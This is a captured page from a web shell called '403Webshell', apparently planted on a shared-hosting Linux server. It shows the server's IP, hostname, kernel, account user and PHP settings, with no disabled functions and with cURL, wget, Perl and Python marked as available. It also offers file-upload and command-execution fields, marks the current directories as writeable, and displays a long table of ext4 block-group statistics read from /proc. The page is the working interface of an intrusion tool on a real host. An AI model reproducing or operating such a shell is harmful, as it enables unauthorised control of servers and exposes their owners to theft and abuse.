403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.216.14
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/fs/ext4/sda1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/fs/ext4/sda1/mb_groups
#group: free  frags first [ 2^0   2^1   2^2   2^3   2^4   2^5   2^6   2^7   2^8   2^9   2^10  2^11  2^12  2^13  ]
#0    : 23958 35    8547  [ 26    30    22    19    17    14    8     7     8     6     4     4     1     0     ]
#1    : 29131 194   2176  [ 179   160   146   134   112   77    63    44    23    10    0     1     0     0     ]
#2    : 31436 53    0     [ 42    37    36    31    27    25    26    13    9     13    7     5     0     0     ]
#3    : 31726 33    321   [ 32    27    30    28    26    25    18    18    12    10    6     4     1     0     ]
#4    : 31798 62    0     [ 56    45    53    48    43    43    31    29    25    17    4     2     0     0     ]
#5    : 32054 75    322   [ 68    65    62    63    60    58    58    42    35    16    2     0     0     0     ]
#6    : 32111 217   0     [ 213   201   176   177   142   129   99    68    31    0     0     0     0     0     ]
#7    : 32197 96    321   [ 95    101   81    79    80    73    67    62    43    8     0     0     0     0     ]
#8    : 32172 225   36    [ 232   178   168   150   133   122   102   68    29    2     0     0     0     0     ]
#9    : 29673 240   496   [ 215   199   175   133   114   86    67    48    30    5     2     0     0     0     ]
#10   : 30113 51    0     [ 51    41    39    38    35    27    27    22    18    11    5     2     1     0     ]
#11   : 28256 85    0     [ 94    71    65    70    60    54    51    44    29    12    2     0     0     0     ]
#12   : 28930 37    21    [ 30    26    26    27    21    17    20    16    15    10    5     5     0     0     ]
#13   : 32201 152   0     [ 151   143   127   131   112   94    91    75    33    3     0     0     0     0     ]
#14   : 31916 237   0     [ 242   155   135   133   110   83    74    65    36    6     0     0     0     0     ]
#15   : 31999 40    0     [ 41    33    41    40    31    34    32    29    26    14    4     3     0     0     ]
#16   : 24035 45    8256  [ 33    23    23    21    15    7     7     8     3     1     0     0     1     2     ]
#17   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#18   : 28966 449   28    [ 350   282   275   197   130   66    41    27    11    10    1     1     1     0     ]
#19   : 29886 34    212   [ 32    25    27    28    16    15    13    12    11    6     4     6     1     0     ]
#20   : 31734 119   0     [ 118   96    98    99    86    86    68    56    31    13    0     0     0     0     ]
#21   : 32050 137   1     [ 142   114   84    70    48    46    38    36    24    16    5     1     0     0     ]
#22   : 31651 63    0     [ 59    54    53    47    45    41    43    34    25    22    2     1     0     0     ]
#23   : 29926 80    46    [ 66    68    61    57    50    52    51    42    24    19    0     1     0     0     ]
#24   : 32207 140   0     [ 129   133   127   113   104   86    78    62    33    9     0     0     0     0     ]
#25   : 29974 64    321   [ 60    59    59    63    50    41    39    39    22    11    6     1     0     0     ]
#26   : 25388 78    591   [ 80    74    66    58    41    43    34    32    23    12    2     1     0     0     ]
#27   : 32196 100   322   [ 102   71    84    68    54    50    47    48    36    14    3     0     0     0     ]
#28   : 32107 82    0     [ 79    62    66    63    60    47    44    44    27    14    6     0     0     0     ]
#29   : 32183 150   0     [ 147   146   136   126   109   107   81    59    34    7     0     0     0     0     ]
#30   : 32116 163   128   [ 156   146   139   133   116   107   85    71    38    1     0     0     0     0     ]
#31   : 28720 63    0     [ 62    63    55    55    50    48    43    38    30    12    2     1     0     0     ]
#32   : 20739 152   8     [ 123   70    53    33    22    20    19    15    10    4     3     4     0     0     ]
#33   : 16537 1058  273   [ 713   636   454   254   47    75    30    12    10    3     0     0     0     0     ]
#34   : 14099 225   18    [ 113   93    84    83    128   72    60    20    4     2     0     0     0     0     ]
#35   : 30246 90    81    [ 44    39    37    37    63    54    41    28    25    10    3     1     1     0     ]
#36   : 30815 138   186   [ 119   112   94    78    66    60    48    45    27    13    4     0     0     0     ]
#37   : 29765 106   196   [ 101   96    92    80    75    64    56    45    36    9     2     0     0     0     ]
#38   : 30863 85    109   [ 93    79    77    68    66    59    53    41    39    10    3     0     0     0     ]
#39   : 21156 50    1     [ 42    43    41    40    40    24    21    21    15    8     7     0     0     0     ]
#40   : 32178 116   0     [ 110   104   95    87    74    61    54    43    33    16    2     0     0     0     ]
#41   : 32176 242   0     [ 240   228   224   191   116   56    47    45    35    13    1     0     0     0     ]
#42   : 29174 69    16    [ 52    59    49    59    51    44    38    31    31    13    5     0     0     0     ]
#43   : 32203 159   0     [ 163   156   152   134   124   115   91    73    34    1     0     0     0     0     ]
#44   : 30220 89    48    [ 72    76    77    73    61    51    46    38    27    15    2     1     0     0     ]
#45   : 29977 142   2048  [ 123   141   123   125   67    44    42    41    29    14    3     0     0     0     ]
#46   : 22445 106   17    [ 87    85    87    90    44    32    23    24    20    5     5     1     0     0     ]
#47   : 31894 81    0     [ 78    72    62    66    45    33    37    33    26    11    8     1     0     0     ]
#48   : 20648 136   8361  [ 102   71    49    20    7     5     11    15    3     2     1     1     1     1     ]
#49   : 94    12    401   [ 2     0     1     9     1     0     0     0     0     0     0     0     0     0     ]
#50   : 2359  56    10392 [ 51    38    36    25    24    15    10    3     0     0     0     0     0     0     ]
#51   : 10083 180   47    [ 171   150   125   99    64    38    19    14    6     3     0     0     0     0     ]
#52   : 15114 122   365   [ 122   96    86    73    47    20    13    7     8     9     4     0     0     0     ]
#53   : 20866 63    0     [ 64    55    53    52    46    38    31    24    19    12    2     0     0     0     ]
#54   : 25544 38    0     [ 34    39    38    34    37    29    25    21    17    13    4     0     1     0     ]
#55   : 32173 157   0     [ 163   139   139   125   128   95    90    73    29    5     0     0     0     0     ]
#56   : 32203 116   12    [ 121   119   87    87    89    78    70    49    37    11    1     0     0     0     ]
#57   : 30461 60    2048  [ 61    58    67    52    58    52    48    43    28    16    3     0     0     0     ]
#58   : 31688 106   0     [ 106   89    87    72    67    59    52    41    30    8     5     1     0     0     ]
#59   : 21858 31    0     [ 24    33    26    32    28    27    26    24    20    10    3     1     0     0     ]
#60   : 31956 100   0     [ 96    94    88    83    78    67    72    55    31    11    2     0     0     0     ]
#61   : 32195 186   0     [ 179   162   167   138   126   118   101   70    30    2     0     0     0     0     ]
#62   : 32036 175   0     [ 168   170   148   131   126   101   91    67    36    2     0     0     0     0     ]
#63   : 32125 81    1     [ 71    69    53    61    55    40    38    26    27    12    4     3     0     0     ]
#64   : 21470 67    8320  [ 52    31    17    11    11    9     14    15    12    3     7     1     1     0     ]
#65   : 1989  22    47    [ 23    15    16    14    14    10    9     3     1     0     0     0     0     0     ]
#66   : 18668 230   9216  [ 238   185   171   156   154   113   69    36    4     0     0     0     0     0     ]
#67   : 29772 136   8     [ 128   124   111   105   113   92    61    56    34    7     0     0     0     0     ]
#68   : 30783 229   0     [ 227   192   151   130   83    78    72    45    32    12    0     0     0     0     ]
#69   : 31931 95    269   [ 99    96    78    82    65    64    47    48    38    13    2     0     0     0     ]
#70   : 25391 95    0     [ 77    67    73    69    41    38    29    21    24    11    6     0     0     0     ]
#71   : 19004 43    0     [ 40    36    41    35    27    23    20    23    15    10    4     0     0     0     ]
#72   : 32178 219   0     [ 222   194   158   159   132   119   99    74    31    0     0     0     0     0     ]
#73   : 32181 213   0     [ 225   174   174   146   141   121   105   76    24    2     0     0     0     0     ]
#74   : 32127 94    61    [ 85    79    77    77    61    59    53    39    29    14    5     0     0     0     ]
#75   : 32205 205   0     [ 195   183   167   162   133   125   108   82    22    1     0     0     0     0     ]
#76   : 32207 200   0     [ 201   187   170   161   138   110   94    80    26    2     0     0     0     0     ]
#77   : 32129 205   0     [ 205   188   175   166   155   127   111   82    21    0     0     0     0     0     ]
#78   : 32184 202   0     [ 194   183   166   152   133   113   99    72    33    0     0     0     0     0     ]
#79   : 32058 75    28    [ 58    66    65    61    51    45    37    27    20    13    11    0     0     0     ]
#80   : 23431 91    8224  [ 79    66    45    34    19    18    12    7     5     1     2     0     0     2     ]
#81   : 27702 608   406   [ 598   376   274   207   157   105   51    31    21    6     2     0     0     0     ]
#82   : 26014 365   0     [ 312   271   200   147   97    60    32    18    12    8     6     1     0     0     ]
#83   : 29749 101   11    [ 71    79    62    69    69    33    29    31    19    15    6     1     0     0     ]
#84   : 32190 138   0     [ 146   144   123   120   106   90    84    61    39    5     0     0     0     0     ]
#85   : 20374 112   0     [ 52    43    5     29    35    35    28    19    1     9     5     2     0     0     ]
#86   : 31030 90    0     [ 86    70    73    72    61    63    57    44    33    14    2     0     0     0     ]
#87   : 29740 44    0     [ 30    43    42    44    43    36    32    35    25    14    5     1     0     0     ]
#88   : 28812 56    0     [ 48    34    44    43    25    32    28    25    23    13    7     1     0     0     ]
#89   : 23565 55    0     [ 49    48    47    44    30    26    25    20    14    11    8     0     0     0     ]
#90   : 27114 55    1     [ 42    44    44    49    45    37    29    25    20    12    6     1     0     0     ]
#91   : 32095 202   0     [ 195   178   154   146   116   106   95    72    34    1     0     0     0     0     ]
#92   : 32157 144   0     [ 137   128   107   109   92    84    79    58    40    7     0     0     0     0     ]
#93   : 29643 76    1     [ 61    57    57    59    50    48    43    41    28    12    5     0     0     0     ]
#94   : 32137 202   0     [ 195   161   149   154   122   100   85    62    36    4     0     0     0     0     ]
#95   : 32200 162   0     [ 152   162   137   127   119   97    81    60    40    4     0     0     0     0     ]
#96   : 20665 82    8234  [ 73    46    31    23    24    13    17    13    3     9     3     2     1     0     ]
#97   : 17126 488   4448  [ 308   305   264   234   168   97    55    17    7     0     0     0     0     0     ]
#98   : 22944 591   68    [ 414   427   339   246   133   85    53    21    11    5     2     0     0     0     ]
#99   : 25586 366   121   [ 286   288   235   215   153   119   79    36    14    3     1     0     0     0     ]
#100  : 22012 131   767   [ 108   60    82    72    45    40    33    27    20    10    3     0     0     0     ]
#101  : 20278 75    36    [ 64    53    65    61    58    42    27    18    23    10    2     0     0     0     ]
#102  : 29822 97    17    [ 94    72    74    71    65    53    46    38    29    15    3     0     0     0     ]
#103  : 27378 70    299   [ 58    70    55    58    52    32    35    27    22    16    5     0     0     0     ]
#104  : 23836 52    0     [ 52    46    41    37    36    28    32    28    23    16    2     0     0     0     ]
#105  : 25134 68    0     [ 70    64    60    47    46    37    34    32    25    13    3     0     0     0     ]
#106  : 30709 65    0     [ 59    49    54    58    49    47    45    35    31    14    5     0     0     0     ]
#107  : 25764 64    0     [ 58    59    51    47    41    45    32    29    25    17    2     0     0     0     ]
#108  : 26859 39    0     [ 39    36    39    38    39    40    37    26    23    9     8     0     0     0     ]
#109  : 28902 65    0     [ 66    60    47    54    46    39    36    36    31    14    4     0     0     0     ]
#110  : 29526 45    5     [ 38    42    39    42    35    34    34    28    22    15    8     0     0     0     ]
#111  : 29658 51    0     [ 52    41    49    44    39    34    38    34    32    16    4     0     0     0     ]
#112  : 22913 327   8236  [ 263   167   59    28    14    10    11    11    7     4     1     1     1     1     ]
#113  : 8719  1744  4424  [ 1273  805   469   189   59    33    7     0     0     0     0     0     0     0     ]
#114  : 10527 234   1657  [ 197   131   57    24    31    24    11    10    5     2     4     0     0     0     ]
#115  : 23000 399   448   [ 294   239   199   147   96    71    47    25    16    10    1     0     0     0     ]
#116  : 16574 108   215   [ 108   93    78    72    40    33    28    25    18    6     1     0     0     0     ]
#117  : 14322 29    14080 [ 18    4     16    19    14    13    16    19    13    7     3     0     0     0     ]
#118  : 26798 84    206   [ 82    88    77    73    67    50    49    45    33    9     1     0     0     0     ]
#119  : 30914 82    0     [ 90    54    63    62    63    61    50    44    31    8     6     0     0     0     ]
#120  : 31186 78    0     [ 60    71    72    71    51    46    45    37    35    16    3     0     0     0     ]
#121  : 31878 98    0     [ 106   84    83    69    52    42    42    38    26    16    6     0     0     0     ]
#122  : 28099 44    0     [ 45    35    40    38    30    35    35    31    25    14    6     0     0     0     ]
#123  : 32205 165   0     [ 159   153   145   145   119   106   98    68    36    1     0     0     0     0     ]
#124  : 32204 123   0     [ 120   112   107   107   93    91    75    57    37    7     1     0     0     0     ]
#125  : 32101 80    324   [ 69    78    67    71    64    66    56    46    28    12    5     0     0     0     ]
#126  : 31563 65    0     [ 55    68    61    63    58    54    47    43    32    14    4     0     0     0     ]
#127  : 32173 154   0     [ 153   142   140   121   110   93    80    61    33    8     0     0     0     0     ]
#128  : 14141 112   8320  [ 83    69    42    33    15    16    19    12    7     2     1     1     1     0     ]
#129  : 3156  522   12678 [ 398   245   165   65    22    11    4     1     0     0     0     0     0     0     ]
#130  : 2339  436   16    [ 357   215   104   46    16    8     2     1     0     0     0     0     0     0     ]
#131  : 7263  733   206   [ 563   452   281   130   93    45    7     2     0     0     0     0     0     0     ]
#132  : 4514  233   203   [ 188   157   109   51    28    23    13    5     2     0     0     0     0     0     ]
#133  : 3783  124   287   [ 117   99    79    52    27    20    12    5     1     0     0     0     0     0     ]
#134  : 8950  125   78    [ 110   78    81    61    24    8     9     4     6     5     2     0     0     0     ]
#135  : 8597  101   323   [ 87    69    71    63    42    26    9     7     8     3     1     0     0     0     ]
#136  : 14693 75    174   [ 83    67    69    57    43    28    20    17    14    4     3     0     0     0     ]
#137  : 31720 142   91    [ 136   122   97    97    86    76    72    52    27    12    2     0     0     0     ]
#138  : 29500 111   256   [ 104   98    84    86    69    72    53    47    30    15    0     0     0     0     ]
#139  : 32201 235   0     [ 251   197   193   170   143   122   89    57    24    4     2     0     0     0     ]
#140  : 29621 134   0     [ 119   117   97    78    86    70    55    41    36    7     3     0     0     0     ]
#141  : 29977 111   0     [ 123   95    90    79    74    59    44    44    29    17    1     0     0     0     ]
#142  : 32091 173   0     [ 173   145   147   112   120   92    71    60    35    6     1     0     0     0     ]
#143  : 32199 148   0     [ 149   137   132   128   111   95    87    71    34    4     0     0     0     0     ]
#144  : 19255 67    8232  [ 59    54    46    35    44    40    36    24    12    4     2     2     0     0     ]
#145  : 109   4     1344  [ 3     3     5     2     0     0     1     0     0     0     0     0     0     0     ]
#146  : 11675 69    3064  [ 33    5     18    35    35    29    19    15    12    5     1     0     0     0     ]
#147  : 23364 100   151   [ 92    88    72    73    61    36    36    31    22    8     4     0     0     0     ]
#148  : 20732 71    0     [ 58    49    58    51    48    29    27    21    10    10    6     0     0     0     ]
#149  : 29150 78    306   [ 74    82    56    44    43    38    27    29    18    12    10    0     0     0     ]
#150  : 28269 70    429   [ 57    64    57    58    44    40    37    28    28    14    5     0     0     0     ]
#151  : 23826 72    0     [ 64    69    74    70    59    60    49    31    22    12    1     0     0     0     ]
#152  : 31675 106   0     [ 107   88    84    76    77    67    53    53    30    16    1     0     0     0     ]
#153  : 27358 99    0     [ 104   111   88    89    75    66    48    37    32    9     2     0     0     0     ]
#154  : 24588 83    0     [ 94    67    68    61    61    57    47    33    29    6     3     0     0     0     ]
#155  : 23386 68    272   [ 54    60    65    59    51    45    34    33    24    9     3     0     0     0     ]
#156  : 32203 140   0     [ 125   129   123   112   94    76    60    53    42    10    0     0     0     0     ]
#157  : 32189 200   0     [ 183   187   154   135   113   93    67    45    31    10    2     0     0     0     ]
#158  : 30408 73    1     [ 70    65    66    69    53    42    39    27    27    18    5     0     0     0     ]
#159  : 29420 72    0     [ 60    54    51    51    38    38    31    24    23    17    7     0     0     0     ]
#160  : 24113 76    8224  [ 55    43    33    20    12    14    8     8     2     3     1     1     0     2     ]
#161  : 5759  507   0     [ 423   210   89    40    31    19    13    2     2     1     1     0     0     0     ]
#162  : 15060 405   12    [ 316   258   227   141   80    47    31    22    14    2     0     0     0     0     ]
#163  : 9161  128   1149  [ 129   134   101   63    51    32    20    15    5     1     1     0     0     0     ]
#164  : 12048 88    253   [ 82    75    58    58    39    26    17    9     9     8     1     0     0     0     ]
#165  : 20989 95    0     [ 95    89    75    70    65    60    34    29    19    8     2     0     0     0     ]
#166  : 20256 71    0     [ 72    68    54    55    44    44    34    20    13    12    3     0     0     0     ]
#167  : 22336 48    902   [ 32    50    45    47    35    37    31    24    20    13    3     0     0     0     ]
#168  : 27222 93    28    [ 84    73    70    57    43    43    24    29    26    14    5     0     0     0     ]
#169  : 32147 88    0     [ 91    80    76    75    59    59    46    43    35    13    4     0     0     0     ]
#170  : 24030 39    1     [ 34    34    34    24    31    30    28    23    20    12    6     0     0     0     ]
#171  : 32125 191   0     [ 177   172   167   155   148   124   115   71    27    0     0     0     0     0     ]
#172  : 30146 85    0     [ 68    73    75    66    59    58    55    50    32    10    3     0     0     0     ]
#173  : 32195 160   0     [ 155   148   128   126   117   110   96    58    32    6     0     0     0     0     ]
#174  : 30481 110   19    [ 111   83    95    86    81    60    53    42    35    10    3     0     0     0     ]
#175  : 28994 125   0     [ 128   125   102   106   78    80    62    49    32    8     1     0     0     0     ]
#176  : 20920 186   8224  [ 156   138   88    63    39    40    23    21    11    5     2     1     1     0     ]
#177  : 6556  566   164   [ 346   255   241   168   82    29    12    3     0     0     0     0     0     0     ]
#178  : 4155  246   266   [ 221   173   89    24    14    8     6     5     4     1     0     0     0     0     ]
#179  : 6591  130   31    [ 123   108   73    57    38    15    11    5     4     0     0     1     0     0     ]
#180  : 10807 96    148   [ 77    75    73    60    29    18    15    11    7     7     1     0     0     0     ]
#181  : 15370 71    0     [ 62    54    56    46    31    27    19    18    14    8     2     0     0     0     ]
#182  : 17878 99    138   [ 94    78    75    68    59    43    26    24    14    6     3     0     0     0     ]
#183  : 19400 72    214   [ 80    72    66    54    43    34    35    21    14    6     5     0     0     0     ]
#184  : 21363 77    0     [ 69    67    64    55    49    35    36    25    21    11    2     0     0     0     ]
#185  : 30089 151   0     [ 161   132   116   100   77    61    46    46    30    13    2     0     0     0     ]
#186  : 25863 69    221   [ 57    59    58    54    56    36    35    30    22    12    5     0     0     0     ]
#187  : 23187 53    0     [ 55    48    49    51    48    43    43    33    24    12    1     0     0     0     ]
#188  : 27464 79    0     [ 80    76    64    62    57    57    45    33    25    12    4     0     0     0     ]
#189  : 25292 48    17    [ 44    38    43    37    34    35    30    27    23    9     7     0     0     0     ]
#190  : 21278 52    0     [ 44    47    43    39    37    31    32    25    20    9     4     0     0     0     ]
#191  : 25833 43    11    [ 43    33    31    34    35    36    27    21    21    17    5     0     0     0     ]
#192  : 22061 91    8224  [ 79    47    34    31    24    26    19    11    3     3     3     2     0     1     ]
#193  : 15380 735   686   [ 466   383   347   213   115   56    24    12    5     4     1     0     0     0     ]
#194  : 15781 172   298   [ 167   133   85    42    25    12    11    15    10    5     6     0     0     0     ]
#195  : 18489 101   129   [ 99    83    78    85    67    45    34    20    11    8     3     0     0     0     ]
#196  : 30077 130   38    [ 111   123   104   109   93    78    68    53    26    9     2     0     0     0     ]
#197  : 30179 69    0     [ 59    64    60    59    52    45    38    40    26    15    5     0     0     0     ]
#198  : 28949 82    0     [ 79    73    73    60    55    46    48    28    28    17    3     0     0     0     ]
#199  : 29279 52    0     [ 61    53    40    43    40    40    37    38    26    13    6     0     0     0     ]
#200  : 32196 136   17    [ 138   137   110   122   106   98    81    61    37    6     0     0     0     0     ]
#201  : 32206 160   32    [ 162   150   130   123   118   106   84    69    42    0     0     0     0     0     ]
#202  : 31712 89    280   [ 94    85    74    70    50    55    54    42    35    12    4     0     0     0     ]
#203  : 29086 78    0     [ 76    69    64    61    50    42    44    35    31    15    3     0     0     0     ]
#204  : 32176 147   40    [ 150   131   109   106   99    83    70    52    39    10    0     0     0     0     ]
#205  : 31966 91    0     [ 86    94    81    79    73    70    63    54    36    10    2     0     0     0     ]
#206  : 32205 160   0     [ 169   150   144   123   108   97    84    62    35    6     0     0     0     0     ]
#207  : 32188 206   0     [ 210   175   175   152   139   117   95    68    33    1     0     0     0     0     ]
#208  : 24302 99    8224  [ 82    78    70    45    34    35    26    21    12    10    7     1     0     0     ]
#209  : 31544 325   1     [ 292   288   221   182   109   75    52    29    15    14    6     0     0     0     ]
#210  : 19735 48    21    [ 39    44    32    33    35    21    25    16    10    7     8     0     0     0     ]
#211  : 29512 134   0     [ 118   129   114   111   97    80    72    43    29    12    0     0     0     0     ]
#212  : 32068 76    0     [ 72    84    73    70    46    47    41    34    33    14    6     0     0     0     ]
#213  : 29720 61    0     [ 62    55    55    58    50    49    44    41    40    12    2     0     0     0     ]
#214  : 32021 174   0     [ 175   165   143   140   136   124   96    79    29    0     0     0     0     0     ]
#215  : 32194 184   0     [ 180   161   157   149   131   116   96    76    32    0     0     0     0     0     ]
#216  : 32182 119   0     [ 104   89    87    76    74    72    53    48    42    14    0     0     0     0     ]
#217  : 32123 109   0     [ 117   105   89    82    74    75    57    52    34    14    1     0     0     0     ]
#218  : 32193 117   0     [ 123   101   103   90    87    83    75    59    48    4     0     0     0     0     ]
#219  : 32119 128   0     [ 113   133   95    106   85    65    61    49    36    13    1     0     0     0     ]
#220  : 32204 208   0     [ 226   189   178   157   168   128   115   79    19    1     0     0     0     0     ]
#221  : 32159 128   0     [ 137   97    123   109   100   82    72    45    42    8     1     0     0     0     ]
#222  : 15675 44    0     [ 43    28    38    40    38    29    34    27    21    3     1     0     0     0     ]
#223  : 23813 92    0     [ 89    76    71    67    72    53    55    38    27    9     0     0     0     0     ]
#224  : 20500 105   8227  [ 86    79    68    48    21    14    22    10    5     3     3     1     0     1     ]
#225  : 24188 697   0     [ 440   470   448   397   259   156   76    24    1     1     0     0     0     0     ]
#226  : 28595 126   91    [ 119   116   113   100   81    77    65    37    28    10    2     0     0     0     ]
#227  : 31374 179   0     [ 174   156   156   133   105   88    60    43    24    10    4     0     0     0     ]
#228  : 26316 46    18    [ 34    39    37    39    29    30    28    30    23    11    7     0     0     0     ]
#229  : 30985 119   0     [ 127   109   72    72    63    55    42    40    25    15    5     0     0     0     ]
#230  : 27875 80    0     [ 71    60    55    45    40    31    28    27    23    16    6     0     0     0     ]
#231  : 32187 139   0     [ 143   118   114   109   93    88    75    53    41    8     0     0     0     0     ]
#232  : 32193 78    0     [ 65    70    59    59    57    55    49    45    35    13    4     0     0     0     ]
#233  : 31903 77    0     [ 83    58    72    69    69    56    51    45    32    15    3     0     0     0     ]
#234  : 32118 132   0     [ 110   130   121   116   112   100   88    74    26    7     0     0     0     0     ]
#235  : 32197 150   0     [ 125   122   125   112   96    83    78    64    37    7     0     0     0     0     ]
#236  : 32203 104   0     [ 97    95    97    87    81    71    60    51    40    13    0     0     0     0     ]
#237  : 31327 132   0     [ 137   119   98    98    87    73    53    51    33    11    2     0     0     0     ]
#238  : 26966 80    0     [ 70    64    60    64    58    50    49    37    29    12    2     0     0     0     ]
#239  : 27908 102   0     [ 84    96    94    91    66    52    48    42    30    13    1     0     0     0     ]
#240  : 22624 51    8224  [ 54    37    40    38    31    29    24    19    13    12    5     1     0     0     ]
#241  : 15449 251   116   [ 235   127   118   109   87    60    35    21    5     4     2     0     0     0     ]
#242  : 24502 126   4     [ 122   82    80    71    46    24    25    16    13    13    8     0     0     0     ]
#243  : 32096 137   321   [ 134   127   113   91    88    72    59    44    30    15    2     0     0     0     ]
#244  : 27960 51    24    [ 38    49    42    49    42    37    35    33    30    14    4     0     0     0     ]
#245  : 32205 203   0     [ 205   180   156   145   130   122   101   72    30    1     0     0     0     0     ]
#246  : 32108 205   0     [ 144   180   171   125   94    80    72    64    35    6     1     0     0     0     ]
#247  : 30256 113   0     [ 122   107   96    90    73    60    42    42    31    15    2     0     0     0     ]
#248  : 32191 207   0     [ 185   189   165   153   133   101   81    60    33    6     0     0     0     0     ]
#249  : 32194 225   0     [ 210   196   180   167   136   99    86    62    34    4     0     0     0     0     ]
#250  : 27710 60    256   [ 58    54    48    47    44    37    36    34    26    13    5     0     0     0     ]
#251  : 30712 108   0     [ 78    83    97    80    78    61    54    44    37    9     3     0     0     0     ]
#252  : 24697 44    0     [ 39    39    37    38    36    36    34    34    30    12    2     0     0     0     ]
#253  : 32202 173   0     [ 172   161   147   142   126   114   88    68    35    2     0     0     0     0     ]
#254  : 32206 161   0     [ 176   137   119   128   105   103   87    68    39    2     0     0     0     0     ]
#255  : 30292 86    22    [ 76    80    76    75    68    63    51    40    35    13    2     0     0     0     ]
#256  : 21410 87    8224  [ 74    60    66    45    35    32    31    25    12    9     2     2     0     0     ]
#257  : 25508 277   1279  [ 234   203   197   186   114   79    55    25    17    12    1     0     0     0     ]
#258  : 28311 132   0     [ 121   107   112   93    84    75    58    41    27    10    2     0     0     0     ]
#259  : 32104 196   0     [ 204   178   158   134   129   108   84    68    32    4     0     0     0     0     ]
#260  : 31566 85    216   [ 90    76    77    77    66    67    59    47    34    13    2     0     0     0     ]
#261  : 32172 193   0     [ 196   176   160   153   132   110   97    72    34    0     0     0     0     0     ]
#262  : 32201 191   0     [ 183   179   147   156   122   111   106   77    30    0     0     0     0     0     ]
#263  : 31815 184   22    [ 177   161   149   104   116   98    81    66    32    6     0     0     0     0     ]
#264  : 32205 195   0     [ 201   176   149   146   132   100   82    71    38    1     0     0     0     0     ]
#265  : 32207 166   0     [ 177   147   116   115   111   95    77    67    39    4     0     0     0     0     ]
#266  : 32193 140   0     [ 131   99    114   94    86    75    66    57    34    9     2     0     0     0     ]
#267  : 32064 158   0     [ 168   130   119   105   93    69    56    44    32    16    1     0     0     0     ]
#268  : 32204 193   0     [ 204   184   164   152   144   114   84    72    34    1     0     0     0     0     ]
#269  : 32206 146   0     [ 132   147   121   130   119   106   98    64    37    2     0     0     0     0     ]
#270  : 31735 112   17    [ 101   99    83    78    75    71    58    56    29    15    1     0     0     0     ]
#271  : 30324 87    1     [ 90    81    66    70    74    65    54    50    43    6     2     0     0     0     ]
#272  : 18608 54    8224  [ 42    35    38    33    24    23    15    11    9     6     1     2     1     0     ]
#273  : 21578 514   13    [ 356   307   222   151   93    52    26    17    9     10    4     0     0     0     ]
#274  : 23418 340   0     [ 242   258   251   181   127   94    67    21    22    1     2     0     0     0     ]
#275  : 16108 243   42    [ 194   169   166   148   102   74    44    26    8     3     0     0     0     0     ]
#276  : 7682  52    0     [ 54    38    44    34    26    13    10    8     4     3     2     0     0     0     ]
#277  : 23877 89    0     [ 77    74    61    56    51    44    46    35    24    6     4     0     0     0     ]
#278  : 28550 56    213   [ 42    44    43    43    38    25    28    25    22    17    7     0     0     0     ]
#279  : 28396 65    0     [ 54    57    47    41    44    36    32    20    21    13    9     0     0     0     ]
#280  : 23872 66    0     [ 64    70    57    54    42    34    28    22    21    16    3     0     0     0     ]
#281  : 32189 180   0     [ 185   162   156   150   122   94    89    62    34    5     0     0     0     0     ]
#282  : 19449 79    0     [ 63    71    59    52    50    46    39    38    17    5     2     0     0     0     ]
#283  : 14689 63    5068  [ 51    47    48    40    33    26    20    15    15    11    0     0     0     0     ]
#284  : 25251 85    0     [ 81    69    76    75    50    49    48    40    27    9     2     0     0     0     ]
#285  : 32204 186   17    [ 176   174   158   135   121   116   90    65    38    1     0     0     0     0     ]
#286  : 27120 198   449   [ 186   147   136   112   61    47    37    23    20    10    7     0     0     0     ]
#287  : 32155 192   18    [ 173   173   153   138   124   91    69    59    33    7     1     0     0     0     ]
